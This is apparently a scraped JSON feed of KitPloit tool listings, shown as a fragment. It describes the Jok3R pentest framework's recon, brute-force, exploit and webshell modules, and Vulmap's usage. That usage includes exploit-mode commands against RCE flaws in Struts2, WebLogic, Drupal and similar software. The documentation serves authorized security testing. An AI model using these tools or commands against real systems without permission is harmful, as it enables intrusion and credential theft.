25/tcp)](<https://github.com/koutto/jok3r#smtp-default-25-tcp>)\n * [SNMP (default 161/udp)](<https://github.com/koutto/jok3r#snmp-default-161-udp>)\n * [SSH (default 22/tcp)](<https://github.com/koutto/jok3r#ssh-default-22-tcp>)\n * [Telnet (default 21/tcp)](<https://github.com/koutto/jok3r#telnet-default-21-tcp>)\n * [VNC (default 5900/tcp)](<https://github.com/koutto/jok3r#vnc-default-5900-tcp>)\n\n \n\n\n[](<https://draft.blogger.com/null>) \n**AJP (default 8009/tcp)** \n\n \n \n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap AJP scripts | nmap |\n | tomcat-version | recon | Fingerprint Tomcat version through AJP | ajpy |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | default-creds-tomcat | bruteforce | Check [default credentials](<https://www.kitploit.com/search/label/Default%20Credentials>) for Tomcat Application Manager | ajpy |\n | deploy-webshell-tomcat | exploit | Deploy a webshell on Tomcat through AJP | ajpy |\n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**FTP (default 21/tcp)** \n\n \n \n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap FTP scripts | nmap |\n | nmap-vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | ftpmap-scan | vulnscan | Identify FTP server soft/version and check for known vulns | ftpmap |\n | common-creds | bruteforce | Check common credentials on FTP server | patator |\n | bruteforce-creds | bruteforce | Bruteforce FTP accounts | patator |\n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**HTTP (default 80/tcp)** \n\n \n \n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n | Name | Category | Description | Tool used |\n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n | nmap-recon | recon | Recon using Nmap HTTP scripts | nmap |\n | load-balancing-detection | recon | HTTP load balancer detection | halberd |\n | waf-detection | recon | Identify and fingerprint WAF products protecting website | wafw00f |\n | tls-probing | recon | Identify the implementation in use by SSL/TLS servers (might allow server fingerprinting) | tls-prober |\n | fingerprinting-multi-whatweb | recon | Identify CMS, blogging platforms, JS libraries, Web servers | whatweb |\n | fingerprinting-app-server | recon | Fingerprint application server (JBoss, ColdFusion, Weblogic, Tomcat, Railo, Axis2, Glassfish) | clusterd |\n | fingerprinting-server-domino | recon | Fingerprint IBM/Lotus Domino server | domiowned |\n | fingerprinting-cms-wig | recon | Identify several CMS and other administrative applications | wig |\n | fingerprinting-cms-cmseek | recon | Detect CMS (130+ supported), detect version on Drupal, advanced scan on Wordpress/Joomla | cmseek |\n | fingerprinting-cms-fingerprinter | recon | Fingerprint precisely CMS versions (based on files checksums) | fingerprinter |\n | fingerprinting-cms-cmsexplorer | recon | Find plugins and themes (using bruteforce) installed in a CMS (Wordpress, Drupal, Joomla, Mambo) | cmsexplorer |\n | fingerprinting-drupal | recon | Fingerprint Drupal 7/8: users, nodes, default files, modules, themes enumeration | drupwn |\n | crawling-fast | recon | Crawl website quickly, analyze interesting files/directories | dirhunt |\n | crawling-fast2 | recon | Crawl website and extract URLs, files, intel & endpoints | photon |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | ssl-check | vulnscan | Check for SSL/TLS configuration | testssl |\n | vulnscan-multi-nikto | vulnscan | Check for multiple web vulnerabilities/misconfigurations | nikto |\n | default-creds-web-multi | vulnscan | Check for default credentials on various web interfaces | changeme |\n | webdav-scan-davscan | vulnscan | Scan HTTP WebDAV | davscan |\n | webdav-scan-msf | vulnscan | Scan HTTP WebDAV | metasploit |\n | webdav-internal-ip-disclosure | vulnscan | Check for WebDAV internal IP disclosure | metasploit |\n | webdav-website-content | vulnscan | Detect webservers disclosing its content through WebDAV | metasploit |\n | http-put-check | vulnscan | Detect the support of dangerous HTTP PUT method | metasploit |\n | apache-optionsbleed-check | vulnscan | Test for the Optionsbleed bug in Apache httpd (CVE-2017-9798) | optionsbleed |\n | shellshock-scan | vulnscan | Detect if web server is vulnerable to Shellshock (CVE-2014-6271) | shocker |\n | iis-shortname-scan | vulnscan | Scan for IIS short filename (8.3) disclosure vulnerability | iis-shortname-scanner |\n | iis-internal-ip-disclosure | vulnscan | Check for IIS internal IP disclosure | metasploit |\n | tomcat-user-enum | vulnscan | Enumerate users on Tomcat 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18 | metasploit |\n | jboss-vulnscan-multi | vulnscan | Scan JBoss application server for multiple vulnerabilities | metasploit |\n | jboss-status-infoleak | vulnscan | Queries JBoss status servlet to collect [sensitive information](<https://www.kitploit.com/search/label/Sensitive%20Information>) (JBoss 4.0, 4.2.2 and 4.2.3) | metasploit |\n | jenkins-infoleak | vulnscan | Enumerate a remote Jenkins-CI installation in an unauthenticated manner | metasploit |\n | cms-multi-vulnscan-cmsmap | vulnscan | Check for vulnerabilities in CMS Wordpress, Drupal, Joomla | cmsmap |\n | wordpress-vulscan | vulnscan | Scan for vulnerabilities in CMS Wordpress | wpscan |\n | wordpress-vulscan2 | vulnscan | Scan for vulnerabilities in CMS Wordpress | wpseku |\n | joomla-vulnscan | vulnscan | Scan for vulnerabilities in CMS Joomla | joomscan |\n | joomla-vulnscan2 | vulnscan | Scan for vulnerabilities in CMS Joomla | joomlascan |\n | joomla-vulnscan3 | vulnscan | Scan for vulnerabilities in CMS Joomla | joomlavs |\n | drupal-vulnscan | vulnscan | Scan for vulnerabilities in CMS Drupal | droopescan |\n | magento-vulnscan | vulnscan | Check for misconfigurations in CMS Magento | magescan |\n | silverstripe-vulnscan | vulnscan | Scan for vulnerabilities in CMS Silverstripe | droopescan |\n | vbulletin-vulnscan | vulnscan | Scan for vulnerabilities in CMS vBulletin | vbscan |\n | liferay-vulnscan | vulnscan | Scan for vulnerabilities in CMS Liferay | liferayscan |\n | angularjs-csti-scan | vulnscan | Scan for AngularJS Client-Side Template Injection | angularjs-csti-scanner |\n | jboss-deploy-shell | exploit | Try to deploy shell on JBoss server (jmx|web|admin-console, JMXInvokerServlet) | jexboss |\n | struts2-rce-cve2017-5638 | exploit | Exploit Apache Struts2 Jakarta Multipart parser RCE (CVE-2017-5638) | jexboss |\n | struts2-rce-cve2017-9805 | exploit | Exploit Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805) | struts-pwn-cve2017-9805 |\n | struts2-rce-cve2018-11776 | exploit | Exploit Apache Struts2 [misconfiguration](<https://www.kitploit.com/search/label/Misconfiguration>) RCE (CVE-2018-11776) | struts-pwn-cve2018-11776 |\n | tomcat-rce-cve2017-12617 | exploit | Exploit for Apache Tomcat JSP Upload Bypass RCE (CVE-2017-12617) | exploit-tomcat-cve2017-12617 |\n | jenkins-cliport-deserialize | exploit | Exploit Java deserialization in Jenkins CLI port | jexboss |\n | weblogic-t3-deserialize-cve2015-4852 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2015-4852) | loubia |\n | weblogic-t3-deserialize-cve2017-3248 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2017-3248) | exploit-weblogic-cve2017-3248 |\n | weblogic-t3-deserialize-cve2018-2893 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2018-2893) | exploit-weblogic-cve2018-2893 |\n | weblogic-wls-wsat-cve2017-10271 | exploit | Exploit WLS-WSAT in Weblogic - CVE-2017-10271 | exploit-weblogic-cve2017-10271 |\n | drupal-cve-exploit | exploit | Check and exploit CVEs in CMS Drupal 7/8 (include Drupalgeddon2) (require user interaction) | drupwn |\n | bruteforce-domino | bruteforce | Bruteforce against IBM/Lotus Domino server | domiowned |\n | bruteforce-wordpress | bruteforce | Bruteforce Wordpress accounts | wpseku |\n | bruteforce-joomla | bruteforce | Bruteforce Joomla account | xbruteforcer |\n | bruteforce-drupal | bruteforce | Bruteforce Drupal account | xbruteforcer |\n | bruteforce-opencart | bruteforce | Bruteforce Opencart account | xbruteforcer |\n | bruteforce-magento | bruteforce | Bruteforce Magento account | xbruteforcer |\n | web-path-bruteforce-targeted | bruteforce | Bruteforce web paths when language is known (extensions adapted) (use raft wordlist) | dirsearch |\n | web-path-bruteforce-blind | bruteforce | Bruteforce web paths when language is unknown (use raft wordlist) | wfuzz |\n | web-path-bruteforce-opendoor | bruteforce | Bruteforce web paths using OWASP OpenDoor wordlist | wfuzz |\n | wordpress-shell-upload | postexploit | Upload shell on Wordpress if admin credentials are known | wpforce |\n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n\n[](<https://draft.blogger.com/null>) \n**Java-RMI (default 1099/tcp)** \n\n \n \n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Attempt to dump all objects from Java-RMI service | nmap |\n | rmi-enum | recon | Enumerate RMI services | barmie |\n | jmx-info | recon | Get information about JMX and the MBean server | twiddle |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | jmx-bruteforce | bruteforce | Bruteforce creds to connect to JMX registry | jmxbf |\n | exploit-rmi-default-config | exploit | Exploit default config in RMI Registry to load classes from any remote URL (not working against JMX) | metasploit |\n | exploit-jmx-insecure-config | exploit | Exploit JMX insecure config. Auth disabled: should be vuln. Auth enabled: vuln if weak config | metasploit |\n | jmx-auth-disabled-deploy-class | exploit | Deploy malicious MBean on JMX service with auth disabled (alternative to msf module) | sjet |\n | tomcat-jmxrmi-deserialize | exploit | Exploit Java-RMI deserialize in Tomcat (CVE-2016-8735, CVE-2016-8735), req. JmxRemoteLifecycleListener | jexboss |\n | rmi-deserialize-all-payloads | exploit | Attempt to exploit Java deserialize against Java RMI Registry with all ysoserial payloads | ysoserial |\n | tomcat-jmxrmi-manager-creds | postexploit | Retrieve Manager creds on Tomcat JMX (req. auth disabled or creds known on JMX) | jmxploit |\n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**JDWP (default 9000/tcp)** \n\n \n \n +------------+----------+-----------------------------------------------------+-----------------+\n | Name | Category | Description | Tool used |\n +------------+----------+-----------------------------------------------------+-----------------+\n | nmap-recon | recon | Recon using Nmap JDWP scripts | nmap |\n | jdwp-rce | exploit | Gain RCE on JDWP service (show OS/Java info as PoC) | jdwp-shellifier |\n +------------+----------+-----------------------------------------------------+-----------------+\n\n[](<https://draft.blogger.com/null>) \n**MSSQL (default 1433/tcp)** \n\n \n \n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | nmap-recon | recon | Recon using Nmap MSSQL scripts | nmap |\n | mssqlinfo | recon | Get technical information about a remote MSSQL server (use TDS protocol and SQL browser Server) | msdat |\n | common-creds | bruteforce | Check common/default credentials on MSSQL server | msdat |\n | bruteforce-sa-account | bruteforce | Bruteforce MSSQL \"sa\" account | msdat |\n | audit-mssql-postauth | postexploit | Check permissive privileges, methods allowing command execution, weak accounts after authenticating on MSSQL | msdat |\n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**MySQL (default 3306/tcp)** \n\n \n \n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n | Name | Category | Description | Tool used |\n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n | nmap-recon | recon | Recon using Nmap MySQL scripts | nmap |\n | mysql-auth-bypass-cve2012-2122 | exploit | Exploit password bypass vulnerability in MySQL - CVE-2012-2122 | metasploit |\n | default-creds | bruteforce | Check default credentials on MySQL server | patator |\n | mysql-hashdump | postexploit | Retrieve usernames and password hashes from MySQL database (req. creds) | metasploit |\n | mysql-interesting-tables-columns | postexploit | Search for interesting tables and columns in database | jok3r-scripts |\n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n\n[](<https://draft.blogger.com/null>) \n**Oracle (default 1521/tcp)** \n\n \n \n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | tnscmd | recon | Connect to TNS Listener and issue commands Ping, Status, Version | odat |\n | tnspoisoning | vulnscan | Test if TNS Listener is vulnerable to TNS Poisoning (CVE-2012-1675) | odat |\n | common-creds | bruteforce | Check common/default credentials on Oracle server | odat |\n | bruteforce-creds | bruteforce | Bruteforce Oracle accounts (might block some accounts !) | odat |\n | audit-oracle-postauth | postexploit | Check for privesc vectors, config leading to command execution, weak accounts after authenticating on Oracle | odat |\n | search-columns-passwords | postexploit | Search for columns storing passwords in the database | odat |\n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**PostgreSQL (default 5432/tcp)** \n\n \n \n +---------------+------------+------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +---------------+------------+------------------------------------------------+-----------+\n | default-creds | bruteforce | Check default credentials on PostgreSQL server | patator |\n +---------------+------------+------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**RDP (default 3389/tcp)** \n\n \n \n +----------+----------+-----------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +----------+----------+-----------------------------------------------------------------------+------------+\n | ms12-020 | vulnscan | Check for MS12-020 RCE vulnerability (any Windows before 13 Mar 2012) | metasploit |\n +---------+----------+-----------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SMB (default 445/tcp)** \n\n \n \n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n | nmap-recon | recon | Recon using Nmap SMB scripts | nmap |\n | anonymous-enum-smb | recon | Attempt to perform enum (users, shares...) without account | nullinux |\n | nmap-vulnscan | vulnscan | Check for vulns in SMB (MS17-010, MS10-061, MS10-054, MS08-067...) using Nmap | nmap |\n | detect-ms17-010 | vulnscan | Detect MS17-010 SMB RCE | metasploit |\n | samba-rce-cve2015-0240 | vulnscan | Detect RCE vuln (CVE-2015-0240) in Samba 3.5.x and 3.6.X | metasploit |\n | exploit-rce-ms08-067 | exploit | Exploit for RCE vuln MS08-067 on SMB | metasploit |\n | exploit-rce-ms17-010-eternalblue | exploit | Exploit for RCE vuln MS17-010 EternalBlue on SMB | metasploit |\n | exploit-sambacry-rce-cve2017-7494 | exploit | Exploit for SambaCry RCE on Samba <= 4.5.9 (CVE-2017-7494) | metasploit |\n | auth-enum-smb | postexploit | Authenticated enumeration (users, groups, shares) on SMB | nullinux |\n | auth-shares-perm | postexploit | Get R/W permissions on SMB shares | smbmap |\n | smb-exec | postexploit | Attempt to get a remote shell (psexec-like, requires Administrator creds) | impacket |\n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SMTP (default 25/tcp)** \n\n \n \n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n | smtp-cve | vulnscan | Scan for vulnerabilities (CVE-2010-4344, CVE-2011-1720, CVE-2011-1764, open-relay) on SMTP | nmap |\n | smtp-user-enum | vulnscan | Attempt to perform user enumeration via SMTP commands EXPN, VRFY and RCPT TO | smtp-user-enum |\n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**SNMP (default 161/udp)** \n\n \n \n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n | common-community-strings | bruteforce | Check common community strings on SNMP server | metasploit |\n | snmpv3-bruteforce-creds | bruteforce | Bruteforce SNMPv3 credentials | snmpwn |\n | enumerate-info | postexploit | Enumerate information provided by SNMP (and check for write access) | snmp-check |\n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SSH (default 22/tcp)** \n\n \n \n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n | vulns-algos-scan | vulnscan | Scan supported algorithms and security info on SSH server | ssh-audit |\n | user-enumeration-timing-attack | exploit | Try to perform OpenSSH (versions <= 7.2 and >= 5.*) user enumeration timing attack OpenSSH | osueta |\n | default-ssh-key | bruteforce | Try to authenticate on SSH server using known SSH keys | changeme |\n | default-creds | bruteforce | Check default credentials on SSH | patator |\n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**Telnet (default 21/tcp)** \n\n \n \n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n | nmap-recon | recon | Recon using Nmap Telnet scripts | nmap |\n | default-creds | bruteforce | Check default credentials on Telnet (dictionary from https://cirt.net/passwords) | patator |\n | bruteforce-root-account | bruteforce | Bruteforce \"root\" account on Telnet | patator |\n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**VNC (default 5900/tcp)** \n\n \n \n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap VNC scripts | nmap |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | bruteforce-pass | bruteforce | Bruteforce VNC password | patator |\n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n \n \n\n\n**[Download Jok3R](<https://github.com/koutto/jok3r>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-01-23T12:25:00", "type": "kitploit", "title": "Jok3R - Network And Web Pentest Framework", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-4344", "CVE-2011-1720", "CVE-2011-1764", "CVE-2012-1675", "CVE-2012-2122", "CVE-2014-6271", "CVE-2015-0240", "CVE-2015-4852", "CVE-2016-8735", "CVE-2017-10271", "CVE-2017-12617", "CVE-2017-3248", "CVE-2017-5638", "CVE-2017-7494", "CVE-2017-9798", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-2893"], "modified": "2019-01-23T12:25:12", "id": "KITPLOIT:5052987141331551837", "href": "http://www.kitploit.com/2019/01/jok3r-network-and-web-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-28T07:41:52", "description": "[](<https://1.bp.blogspot.com/-KABdDCvkQwg/X-K8tydG2pI/AAAAAAAAUvc/dR5VJ69ZRm8wEgBjOLkEBdJ3-MPZhg0TQCNcBGAsYHQ/s678/vulmap.png>)\n\n \n\n\nVulmap is a vulnerability scanning tool that can scan for vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually exists.\n\nVulmap currently has vulnerability scanning (poc) and exploiting (exp) modes. Use \"-m\" to select which mode to use, and the default poc mode is the default. In poc mode, it also supports \"-f\" batch target scanning, \"-o\" File output results and other main functions, Other functions [Options](<https://github.com/zhzyker/vulmap/#options>) Or python3 vulmap.py -h, the Poc function will no longer be provided in the exploit exploit mode, but the exploit will be carried out directly, and the exploit result will be fed back to further verify whether the vulnerability exists and whether it can be exploited.\n\n**Try to use \"-a\" to establish target types to reduce false positives, such as \"-a solr\"**\n\n \n\n\n### Installation\n\nThe operating system must have python3, python3.7 or higher is recommended\n\n * Installation dependency\n \n \n pip3 install -r requirements.txt\n \n\n * Linux & MacOS & Windows\n \n \n python3 vulmap.py -u http://example.com\n \n\n \n\n\n### Options\n \n \n optional arguments:\n -h, --help show this help message and exit\n -u URL, --url URL Target URL (e.g. -u \"http://example.com\")\n -f FILE, --file FILE Select a target list file, and the url must be distinguished by lines (e.g. -f \"/home/user/list.txt\")\n -m MODE, --mode MODE The mode supports \"poc\" and \"exp\", you can omit this option, and enter poc mode by default\n -a APP, --app APP Specify a web app or cms (e.g. -a \"weblogic\"). default scan all\n -c CMD, --cmd CMD Custom RCE vuln command, Other than \"netstat -an\" and \"id\" can affect program judgment. defautl is \"netstat -an\"\n -v VULN, --vuln VULN Exploit, Specify the vuln number (e.g. -v \"CVE-2020-2729\")\n --list Displays a list of vulnerabilities that support scanning\n --debug Debug mode echo request and responses\n --delay DELAY Delay check time, default 0s\n --timeout TIMEOUT Scan timeout time, default 10s\n --output FILE Text mode export (e.g. -o \"result.txt\")\n \n\n \n\n\n### Examples\n\nTest all vulnerabilities poc mode\n \n \n python3 vulmap.py -u http://example.com\n \n\nFor RCE vuln, use the \"id\" command to test the vuln, because some linux does not have the \"netstat -an\" command\n \n \n python3 vulmap.py -u http://example.com -c \"id\"\n \n\nCheck <http://example.com> for struts2 vuln\n \n \n python3 vulmap.py -u http://example.com -a struts2\n \n \n \n python3 vulmap.py -u http://example.com -m poc -a struts2\n \n\nExploit the CVE-2019-2729 vuln of WebLogic on <http://example.com:7001>\n \n \n python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729\n \n \n \n python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729\n \n\nBatch scan URLs in list.txt\n \n \n python3 vulmap.py -f list.txt\n \n\nExport scan results to result.txt\n \n \n python3 vulmap.py -u http://example.com:7001 -o result.txt\n \n\n \n\n\n### Vulnerabilitys List\n\nVulmap supported vulnerabilities are as follows\n \n \n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Target type | Vuln Name | Poc | Exp | Impact Version && Vulnerability description |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Apache Shiro | CVE-2016-4437 | Y | Y | <= 1.2.4, shiro-550, rememberme deserialization rce |\n | Apache Solr | CVE-2017-12629 | Y | Y | < 7.1.0, runexecutablelistener rce & xxe, only rce is here |\n | Apache Solr | CVE-2019-0193 | Y | N | < 8.2.0, dataimporthandler module remote code execution |\n | Apache Solr | CVE-2019-17558 | Y | Y | 5.0.0 - 8.3.1, velocity response writer rce |\n | Apache Struts2 | S2-005 | Y | Y | 2.0.0 - 2.1.8.1, cve-2010-1870 parameters interceptor rce |\n | Apache Struts2 | S2-008 | Y | Y | 2.0.0 - 2.3.17, debugging interceptor rce |\n | Apache Struts2 | S2-009 | Y | Y | 2.1.0 - 2.3.1.1, cve-2011-3923 ognl interpreter rce |\n | Apache Struts2 | S2-013 | Y | Y | 2.0.0 - 2.3.14.1, cve-2013-1966 ognl interpreter rce |\n | Apache Struts2 | S2-015 | Y | Y | 2.0.0 - 2.3.14.2, cve-2013-2134 ognl interpreter rce |\n | Apache Struts2 | S2-016 | Y | Y | 2.0.0 - 2.3.15, cve-2013-2251 ognl interpreter rce |\n | Apache Struts2 | S2-029 | Y | Y | 2.0.0 - 2.3.24.1, ognl interpreter rce |\n | Apache Struts2 | S2-032 | Y | Y | 2.3.20-28, cve-2016-3081 rce can be performed via method |\n | Apache Struts2 | S2-045 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-046 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-048 | Y | Y | 2.3.x, cve-2017-9791 struts2-struts1-plugin rce |\n | Apache Struts2 | S2-052 | Y | Y | 2.1.2 - 2.3.33, 2.5 - 2.5.12 cve-2017-9805 rest plugin rce |\n | Apache Struts2 | S2-057 | Y | Y | 2.0.4 - 2.3.34, 2.5.0-2.5.16, cve-2018-11776 namespace rce |\n | Apache Struts2 | S2-059 | Y | Y | 2.0.0 - 2.5.20 cve-2019-0230 ognl interpreter rce |\n | Apache Struts2 | S2-devMode | Y | Y | 2.1.0 - 2.5.1, devmode remote code execution |\n | Apache Tomcat | Examples File | Y | N | all version, /examples/servlets/servlet/SessionExample |\n | Apache Tomcat | CVE-2017-12615 | Y | Y | 7.0.0 - 7.0.81, put method any files upload |\n | Apache Tomcat | CVE-2020-1938 | Y | Y | 6, 7 < 7.0.100, 8 < 8.5.51, 9 < 9.0.31 arbitrary file read |\n | Drupal | CVE-2018-7600 | Y | Y | 6.x, 7.x, 8.x, drupalgeddon2 remote code execution |\n | Drupal | CVE-2018-7602 | Y | Y | < 7.59, < 8.5.3 (except 8.4.8) drupalgeddon2 rce |\n | Drupal | CVE-2019-6340 | Y | Y | < 8.6.10, drupal core restful remote code execution |\n | Jenkins | CVE-2017-1000353 | Y | N | <= 2.56, LTS <= 2.46.1, jenkins-ci remote code execution |\n | Jenkins | CVE-2018-1000861 | Y | Y | <= 2.153, LTS <= 2.138.3, remote code execution |\n | Nexus OSS/Pro | CVE-2019-7238 | Y | Y | 3.6.2 - 3.14.0, remote code execution vulnerability |\n | Nexus OSS/Pro | CVE-2020-10199 | Y | Y | 3.x <= 3.21.1, remote code execution vulnerability |\n | Oracle Weblogic | CVE-2014-4210 | Y | N | 10.0.2 - 10.3.6, weblogic ssrf vulnerability |\n | Oracle Weblogic | CVE-2017-3506 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.0-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2017-10271 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.1-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2018-2894 | Y | Y | 12.1.3.0, 12.2.1.2-3, deserialization any file upload |\n | Oracle Weblogic | CVE-2019-2725 | Y | Y | 10.3.6.0, 12.1.3.0, weblogic wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2019-2729 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3 wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2020-2551 | Y | N | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, wlscore deserialization rce |\n | Oracle Weblogic | CVE-2020-2555 | Y | Y | 3.7.1.17, 12.1.3.0.0, 12.2.1.3-4.0, t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-2883 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, iiop t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-14882 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, 14.1.1.0.0, console rce |\n | RedHat JBoss | CVE-2010-0738 | Y | Y | 4.2.0 - 4.3.0, jmx-console deserialization any files upload |\n | RedHat JBoss | CVE-2010-1428 | Y | Y | 4.2.0 - 4.3.0, web-console deserialization any files upload |\n | RedHat JBoss | CVE-2015-7501 | Y | Y | 5.x, 6.x, jmxinvokerservlet deserialization any file upload |\n | ThinkPHP | CVE-2019-9082 | Y | Y | < 3.2.4, thinkphp rememberme deserialization rce |\n | ThinkPHP | CVE-2018-20062 | Y | Y | <= 5.0.23, 5.1.31, thinkphp rememberme deserialization rce |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n \n\n \n\n\n### Docker\n \n \n docker build -t vulmap/vulmap .\n docker run --rm -ti vulmap/vulmap python vulmap.py -u https://www.example.com\n\n \n\n\n \n \n\n\n**[Download Vulmap](<https://github.com/zhzyker/vulmap> \"Download Vulmap\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-25T11:30:00", "type": "kitploit", "title": "Vulmap - Web Vulnerability Scanning And Verification Tools", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": 